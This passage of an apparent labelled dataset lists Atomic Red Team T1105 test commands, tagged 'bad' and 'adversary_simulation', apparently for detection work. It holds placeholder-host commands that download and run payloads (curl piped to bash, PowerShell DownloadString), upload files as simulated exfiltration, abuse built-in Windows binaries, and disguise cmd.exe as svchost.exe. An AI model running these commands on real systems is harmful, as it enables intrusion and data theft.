This technique is used by multiple adversaries and malware families.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
213e8a5e8990682eee6189ef,Remove-Item #{destination_path} -Force -ErrorAction Ignore,Remove-Item #{destination_path} -Force -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Windows - PowerShell Download,T1105,"[""T1105""]",windows,0.55,True,"This test uses PowerShell to download a payload.
This technique is used by multiple adversaries and malware families.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d54e0de331e910df034e26f2,"pushd #{destination_path} echo var fileObject = WScript.createobject(""Scripting.FileSystemObject"");var newfile = fileObject.CreateTextFile(""AtomicTestFileT1105.js"", true);newfile.WriteLine(""This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives."");newfile.Close(); > AtomicTestT1105.js CScript.exe AtomicTestT1105.js //E:JScript del AtomicTestT1105.js /Q >nul 2>&1 del AtomicTestFileT1105.js /Q >nul 2>&1 popd","pushd #{destination_path} echo var fileObject = WScript.createobject(""Scripting.FileSystemObject"");var newfile = fileObject.CreateTextFile(""AtomicTestFileT1105.js"", true);newfile.WriteLine(""This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives."");newfile.Close(); > AtomicTestT1105.js CScript.exe AtomicTestT1105.js //E:JScript del AtomicTestT1105.js /Q >nul 2>&1 del AtomicTestFileT1105.js /Q >nul 2>&1 popd",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,OSTAP Worming Activity,T1105,"[""T1105""]",windows,0.9,False,"OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
52045567e450976abedb8308,copy C:\Windows\System32\cmd.exe C:\svchost.exe C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt,copy C:\Windows\System32\cmd.exe C:\svchost.exe C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,svchost writing a file to a UNC path,T1105,"[""T1105""]",windows,0.9,False,"svchost.exe writing a non-Microsoft Office file to a file with a UNC path.
Upon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\`, then execute svchost.exe with output to a txt file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d9ffaf1a2252ab422d605095,del C:\T1105.txt >nul 2>&1 del C:\\svchost.exe >nul 2>&1,del C:\T1105.txt >nul 2>&1 del C:\\svchost.exe >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,svchost writing a file to a UNC path,T1105,"[""T1105""]",windows,0.55,True,"svchost.exe writing a non-Microsoft Office file to a file with a UNC path.
Upon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\`, then execute svchost.exe with output to a txt file.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6bbc85fe33fbff7392b199e2,"cd ""%ProgramData%\Microsoft\Windows Defender\platform\4.18*"" MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}","cd ""%ProgramData%\Microsoft\Windows Defender\platform\4.18*"" MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Download a File with Windows Defender MpCmdRun.exe,T1105,"[""T1105""]",windows,0.9,False,"Uses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed).
The input arguments ""remote_file"" and ""local_path"" can be used to specify the download URL and the name of the output file.
By default, the test downloads the Atomic Red Team license file to the temp directory.

More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
628a18803e4ea4234f418aab,del #{local_path} >nul 2>&1 del %temp%\MpCmdRun.log >nul 2>&1,del #{local_path} >nul 2>&1 del %temp%\MpCmdRun.log >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Download a File with Windows Defender MpCmdRun.exe,T1105,"[""T1105""]",windows,0.55,True,"Uses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed).
The input arguments ""remote_file"" and ""local_path"" can be used to specify the download URL and the name of the output file.
By default, the test downloads the Atomic Red Team license file to the temp directory.

More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c1e4922922d05c7b1301134,"timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} ""#{query}"" > #{output_file}","timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} ""#{query}"" > #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,whois file download,T1105,"[""T1105""]","linux,macos",0.9,False,"Download a remote file using the whois utility
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8bf75ac9695e79972537623b,rm -f #{output_file},rm -f #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,whois file download,T1105,"[""T1105""]","linux,macos",0.55,True,"Download a remote file using the whois utility
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
73871ad7ceb91fea8e6fa820,(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file},(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,File Download via PowerShell,T1105,"[""T1105""]",windows,0.9,False,"Use PowerShell to download and write an arbitrary file from the internet. Example is from the 2021 Threat Detection Report by Red Canary.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
88189a72cd51109046470d38,finger base64_filedata@#{remote_host},finger base64_filedata@#{remote_host},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,File download with finger.exe on Windows,T1105,"[""T1105""]",windows,0.9,False,"Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server.
Because this is being tested on the localhost, you should not be expecting a successful connection
https://www.exploit-db.com/exploits/48815
https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
36cf93b5a15e2732b32db70b,"$imewdbled = $env:SystemRoot + ""\System32\IME\SHARED\IMEWDBLD.exe"" & $imewdbled #{remote_url}","$imewdbled = $env:SystemRoot + ""\System32\IME\SHARED\IMEWDBLD.exe"" & $imewdbled #{remote_url}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Download a file with IMEWDBLD.exe,T1105,"[""T1105""]",windows,0.9,False,"Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file.
Downloaded files can be found in ""%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>"" or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>.
Run ""Get-ChildItem -Path C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include <FILENAME>* -Recurse -Force -File -ErrorAction SilentlyConti",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4e63f2c215e671db27ab3def,"$inetcache = $env:LOCALAPPDATA + ""\Microsoft\Windows\INetCache\"" $file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include #{file_name}* -Recurse -Force -File -ErrorAction SilentlyContinue) if("""" -ne ""$file_to_be_removed"") { Remove-Item ""$file_to_be_removed"" -ErrorAction Ignore }","$inetcache = $env:LOCALAPPDATA + ""\Microsoft\Windows\INetCache\"" $file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include #{file_name}* -Recurse -Force -File -ErrorAction SilentlyContinue) if("""" -ne ""$file_to_be_removed"") { Remove-Item ""$file_to_be_removed"" -ErrorAction Ignore }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Download a file with IMEWDBLD.exe,T1105,"[""T1105""]",windows,0.55,True,"Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file.
Downloaded files can be found in ""%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>"" or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>.
Run ""Get-ChildItem -Path C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include <FILENAME>* -Recurse -Force -File -ErrorAction SilentlyConti",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1c064134b84b6b5f242a83e0,#{curl_path} -k #{file_download} -o c:\users\public\music\allthethingsx64.dll #{curl_path} -k #{file_download} --output c:\users\public\music\allthethingsx64.dll #{curl_path} -k #{file_download} -o c:\programdata\allthethingsx64.dll #{curl_path} -k #{file_download} -o %Temp%\allthethingsx64.dll,#{curl_path} -k #{file_download} -o c:\users\public\music\allthethingsx64.dll #{curl_path} -k #{file_download} --output c:\users\public\music\allthethingsx64.dll #{curl_path} -k #{file_download} -o c:\programdata\allthethingsx64.dll #{curl_path} -k #{file_download} -o %Temp%\allthethingsx64.dll,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Curl Download File,T1105,"[""T1105""]",windows,0.9,False,"The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.
Expected output will include whether the file downloaded successfully or not.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7033b889492015ded8f9fe48,del c:\users\public\music\allthethingsx64.dll >nul 2>&1 del c:\users\public\music\allthethingsx64.dll >nul 2>&1 del c:\programdata\allthethingsx64.dll >nul 2>&1 del %Temp%\allthethingsx64.dll >nul 2>&1,del c:\users\public\music\allthethingsx64.dll >nul 2>&1 del c:\users\public\music\allthethingsx64.dll >nul 2>&1 del c:\programdata\allthethingsx64.dll >nul 2>&1 del %Temp%\allthethingsx64.dll >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Curl Download File,T1105,"[""T1105""]",windows,0.55,True,"The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.
Expected output will include whether the file downloaded successfully or not.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
822d5c69f724490741f07475,#{curl_path} -T #{file_path} #{remote_destination} #{curl_path} --upload-file #{file_path} #{remote_destination} #{curl_path} -d #{file_path} #{remote_destination} #{curl_path} --data #{file_path} #{remote_destination},#{curl_path} -T #{file_path} #{remote_destination} #{curl_path} --upload-file #{file_path} #{remote_destination} #{curl_path} -d #{file_path} #{remote_destination} #{curl_path} --data #{file_path} #{remote_destination},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Curl Upload File,T1105,"[""T1105""]",windows,0.9,False,"The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration
Expected output will include whether the file uploaded successfully or not.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
98a76158b0f821957fe17b67,"""#{Path_to_file}"" 1>NUL","""#{Path_to_file}"" 1>NUL",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Download a file with Microsoft Connection Manager Auto-Download,T1105,"[""T1105""]",windows,0.9,False,"Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. 
The issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user.
Upon successful execution the test will open calculator and Notepad execut",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
030f0b9c06bf629fba27854e,del /f/s/q %temp%\T1105 >nul 2>&1 rmdir /s/q %temp%\T1105 >nul 2>&1,del /f/s/q %temp%\T1105 >nul 2>&1 rmdir /s/q %temp%\T1105 >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Download a file with Microsoft Connection Manager Auto-Download,T1105,"[""T1105""]",windows,0.55,True,"Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. 
The issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user.
Upon successful execution the test will open calculator and Notepad execut",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
42abb2ed2814753a0e5d78f6,del %TEMP%\PrintBrm.zip >nul 2>&1 #{Path_PrintBrm} -b -d #{Path_unc} -f %TEMP%\PrintBrm.zip -O FORCE,del %TEMP%\PrintBrm.zip >nul 2>&1 #{Path_PrintBrm} -b -d #{Path_unc} -f %TEMP%\PrintBrm.zip -O FORCE,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Printer Migration Command-Line Tool UNC share folder into a zip file,T1105,"[""T1105""]",windows,0.9,False,"Create a ZIP file from a folder in a remote drive
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
68b7257d249a36e75dd6395f,del %TEMP%\PrintBrm.zip >nul 2>&1,del %TEMP%\PrintBrm.zip >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Printer Migration Command-Line Tool UNC share folder into a zip file,T1105,"[""T1105""]",windows,0.55,True,"Create a ZIP file from a folder in a remote drive
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
143f36c224dbd0504dcdd627,"del %TEMP%\redcanary.cab >nul 2>&1 #{Path_replace} ""#{replace_cab}"" %TEMP% /A","del %TEMP%\redcanary.cab >nul 2>&1 #{Path_replace} ""#{replace_cab}"" %TEMP% /A",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Lolbas replace.exe use to copy file,T1105,"[""T1105""]",windows,0.9,False,"Copy file.cab to destination
Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
230a506a9fe9d13787544ebf,del %TEMP%\redcanary.cab >nul 2>&1,del %TEMP%\redcanary.cab >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Lolbas replace.exe use to copy file,T1105,"[""T1105""]",windows,0.55,True,"Copy file.cab to destination
Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
298aebe6f53ddc2863928936,del %TEMP%\redcanary.cab >nul 2>&1 #{Path_replace} #{replace_cab} %TEMP% /A,del %TEMP%\redcanary.cab >nul 2>&1 #{Path_replace} #{replace_cab} %TEMP% /A,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Lolbas replace.exe use to copy UNC file,T1105,"[""T1105""]",windows,0.9,False,"Copy UNC file to destination
Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
783ee6f7586fb933ca469083,certreq.exe -Post -config #{remote_file} c:\windows\win.ini #{local_path},certreq.exe -Post -config #{remote_file} c:\windows\win.ini #{local_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,certreq download,T1105,"[""T1105""]",windows,0.9,False,Use certreq to download a file from the web,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
28ee8db9728a90ad6ac155e9,"wscript.exe ""#{vbscript_file}""","wscript.exe ""#{vbscript_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Download a file using wscript,T1105,"[""T1105""]",windows,0.9,False,Use wscript to run a local VisualBasic file to download a remote file,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a9c270a6af0e1ffe89261afa,del Atomic-License.txt >nul 2>&1,del Atomic-License.txt >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Download a file using wscript,T1105,"[""T1105""]",windows,0.55,True,Use wscript to run a local VisualBasic file to download a remote file,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac2256fef6a26078067efedb,curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name},curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Linux Download File and Run,T1105,"[""T1105""]",linux,0.9,False,"Utilize linux Curl to download a remote file, chmod +x it and run it.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
40c1542a183cbaba2a53cb72,rm #{payload_name},rm #{payload_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Linux Download File and Run,T1105,"[""T1105""]",linux,0.55,True,"Utilize linux Curl to download a remote file, chmod +x it and run it.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aaea610c71aa509769e36c07,"cmd /c ""PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe"" #{remote_file} #{destination_path}","cmd /c ""PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe"" #{remote_file} #{destination_path}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Nimgrab - Transfer Files,T1105,"[""T1105""]",windows,0.9,False,"Use nimgrab.exe to download a file from the web. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e3e1edbf43822a8412bfd4c4,del #{destination_path} >nul 2>&1,del #{destination_path} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Nimgrab - Transfer Files,T1105,"[""T1105""]",windows,0.55,True,"Use nimgrab.exe to download a file from the web. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69fd84ca398fc828f9531ae3,powershell.exe iwr -URI #{remote_file} -Outfile #{local_path},powershell.exe iwr -URI #{remote_file} -Outfile #{local_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,iwr or Invoke Web-Request download,T1105,"[""T1105""]",windows,0.9,False,"Use 'iwr' or ""Invoke-WebRequest"" -URI argument to download a file from the web. Note: without -URI also works in some versions.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
51bfb943707fe8ec382b25bd,del %temp%\Atomic-license.txt >nul 2>&1,del %temp%\Atomic-license.txt >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,iwr or Invoke Web-Request download,T1105,"[""T1105""]",windows,0.55,True,"Use 'iwr' or ""Invoke-WebRequest"" -URI argument to download a file from the web. Note: without -URI also works in some versions.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac149dee64e6041a475c1b9d,"mkdir ""c:\Temp"" cd #{working_dir} GUP.exe -unzipTo """" ""C:\Temp"" ""Sample #{target_file_url} #{target_file_sha256}""","mkdir ""c:\Temp"" cd #{working_dir} GUP.exe -unzipTo """" ""C:\Temp"" ""Sample #{target_file_url} #{target_file_sha256}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Arbitrary file download using the Notepad++ GUP.exe binary,T1105,"[""T1105""]",windows,0.9,False,"GUP is an open source signed binary used by Notepad++ for software updates, and can be used to download arbitrary files(.zip) from internet/github.
[Reference](https://x.com/nas_bench/status/1535322182863179776?s=20)
Upon execution, a sample zip file will be downloaded to C:\Temp\Sample folder",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
96353a5f4f16d0c92f230898,"rmdir /s /q ""C:\Temp\Sample"" >nul 2>nul","rmdir /s /q ""C:\Temp\Sample"" >nul 2>nul",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Arbitrary file download using the Notepad++ GUP.exe binary,T1105,"[""T1105""]",windows,0.55,True,"GUP is an open source signed binary used by Notepad++ for software updates, and can be used to download arbitrary files(.zip) from internet/github.
[Reference](https://x.com/nas_bench/status/1535322182863179776?s=20)
Upon execution, a sample zip file will be downloaded to C:\Temp\Sample folder",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a239b6b46a8bf01013be76f0,"nscurl -k ""#{remote_file}"" -o ""#{destination_path}""","nscurl -k ""#{remote_file}"" -o ""#{destination_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,File download via nscurl,T1105,"[""T1105""]",macos,0.9,False,"Use nscurl to download and write a file/payload from the internet.
-k = Disable certificate checking
-o = Output destination
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6094e2c961e917a84507589b,"rm ""#{destination_path}""","rm ""#{destination_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,File download via nscurl,T1105,"[""T1105""]",macos,0.55,True,"Use nscurl to download and write a file/payload from the internet.
-k = Disable certificate checking
-o = Output destination
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5c7130d7cce934cdc5f619cd,sqlcmd -i #{remote_url} -o #{local_file_path},sqlcmd -i #{remote_url} -o #{local_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,File Download with Sqlcmd.exe,T1105,"[""T1105""]",windows,0.9,False,"One of the windows packages 'Sqlcmd.exe' can be abused to download malicious files from C2 servers
This Atomic will exhibit the similar behavior by downloading a sample zip file from src directory of this Technique folder via GitHub URL",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9137ae1c55e3e5ace746cda4,"rm ""#{local_file_path}"" 2>$null | Out-Null","rm ""#{local_file_path}"" 2>$null | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,File Download with Sqlcmd.exe,T1105,"[""T1105""]",windows,0.55,True,"One of the windows packages 'Sqlcmd.exe' can be abused to download malicious files from C2 servers
This Atomic will exhibit the similar behavior by downloading a sample zip file from src directory of this Technique folder via GitHub URL",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0ef92572181f5c60663518cc,fsutil file createnew C:\Temp\T1105_scp.zip 1048576 echo y | #{pscp_binary} -P #{scp_port} -pw #{scp_password} #{exfil_package} #{scp_user}@#{target_location}:#{target_filename},fsutil file createnew C:\Temp\T1105_scp.zip 1048576 echo y | #{pscp_binary} -P #{scp_port} -pw #{scp_password} #{exfil_package} #{scp_user}@#{target_location}:#{target_filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Remote File Copy using PSCP,T1105,"[""T1105""]",windows,0.9,False,"Copy a staged file using PSCP.exe to a public target location.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7f1c961385b65f0191036c4f,del /f /q #{exfil_package},del /f /q #{exfil_package},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Remote File Copy using PSCP,T1105,"[""T1105""]",windows,0.55,True,"Copy a staged file using PSCP.exe to a public target location.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aa2f6af1fca63966504559cf,"# Check if the folder exists, create it if it doesn't $folderPath = ""#{local_path}"" if (-Not (Test-Path -Path $folderPath)) { New-Item -Path $folderPath -ItemType Directory } # Create the file $filePath = Join-Path -Path $folderPath -ChildPath ""#{file_name}"" New-Item -Path $filePath -ItemType File -Force Write-Output ""File created: $filePath"" # Attack command scp.exe #{local_path}\#{file_name} #{username}@#{remote_host}:#{remote_path}","# Check if the folder exists, create it if it doesn't $folderPath = ""#{local_path}"" if (-Not (Test-Path -Path $folderPath)) { New-Item -Path $folderPath -ItemType Directory } # Create the file $filePath = Join-Path -Path $folderPath -ChildPath ""#{file_name}"" New-Item -Path $filePath -ItemType File -Force Write-Output ""File created: $filePath"" # Attack command scp.exe #{local_path}\#{file_name} #{username}@#{remote_host}:#{remote_path}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Windows push file using scp.exe,T1105,"[""T1105""]",windows,0.9,False,"This test simulates pushing files using SCP on a Windows environment.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9290ed35a324c37e8d418bd4,"$filePath = Join-Path -Path ""#{local_path}"" -ChildPath ""#{file_name}"" Remove-Item -Path $filePath -Force -erroraction silentlycontinue Write-Output ""File deleted: $filePath""","$filePath = Join-Path -Path ""#{local_path}"" -ChildPath ""#{file_name}"" Remove-Item -Path $filePath -Force -erroraction silentlycontinue Write-Output ""File deleted: $filePath""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Windows push file using scp.exe,T1105,"[""T1105""]",windows,0.55,True,"This test simulates pushing files using SCP on a Windows environment.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ef6e7107c586eddaf424fb0c,scp.exe #{username}@#{remote_host}:#{remote_path} #{local_path},scp.exe #{username}@#{remote_host}:#{remote_path} #{local_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Windows pull file using scp.exe,T1105,"[""T1105""]",windows,0.9,False,"This test simulates pulling files using SCP on a Windows environment.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
617edaf54bbf62d5e755c834,"# Check if the folder exists, create it if it doesn't $folderPath = ""#{local_path}"" if (-Not (Test-Path -Path $folderPath)) { New-Item -Path $folderPath -ItemType Directory } # Create the file $filePath = Join-Path -Path $folderPath -ChildPath ""#{file_name}"" New-Item -Path $filePath -ItemType File -Force Write-Output ""File created: $filePath"" # Attack command echo ""put #{local_path}\#{file_name}"" | sftp #{username}@#{remote_host}:#{remote_path}","# Check if the folder exists, create it if it doesn't $folderPath = ""#{local_path}"" if (-Not (Test-Path -Path $folderPath)) { New-Item -Path $folderPath -ItemType Directory } # Create the file $filePath = Join-Path -Path $folderPath -ChildPath ""#{file_name}"" New-Item -Path $filePath -ItemType File -Force Write-Output ""File created: $filePath"" # Attack command echo ""put #{local_path}\#{file_name}"" | sftp #{username}@#{remote_host}:#{remote_path}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Windows push file using sftp.exe,T1105,"[""T1105""]",windows,0.9,False,"This test simulates pushing files using SFTP on a Windows environment.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
173428de06c69a44615b8c65,"$filePath = Join-Path -Path ""#{local_path}"" -ChildPath ""#{file_name}"" Remove-Item -Path $filePath -Force Write-Output ""File deleted: $filePath""","$filePath = Join-Path -Path ""#{local_path}"" -ChildPath ""#{file_name}"" Remove-Item -Path $filePath -Force Write-Output ""File deleted: $filePath""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Windows push file using sftp.exe,T1105,"[""T1105""]",windows,0.55,True,"This test simulates pushing files using SFTP on a Windows environment.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b69777d4c36d6d6e5ea5d618,sftp.exe #{username}@#{remote_host}:#{remote_path} #{local_path},sftp.exe #{username}@#{remote_host}:#{remote_path} #{local_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Windows pull file using sftp.exe,T1105,"[""T1105""]",windows,0.9,False,"This test simulates pulling files using SFTP on a Windows environment.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
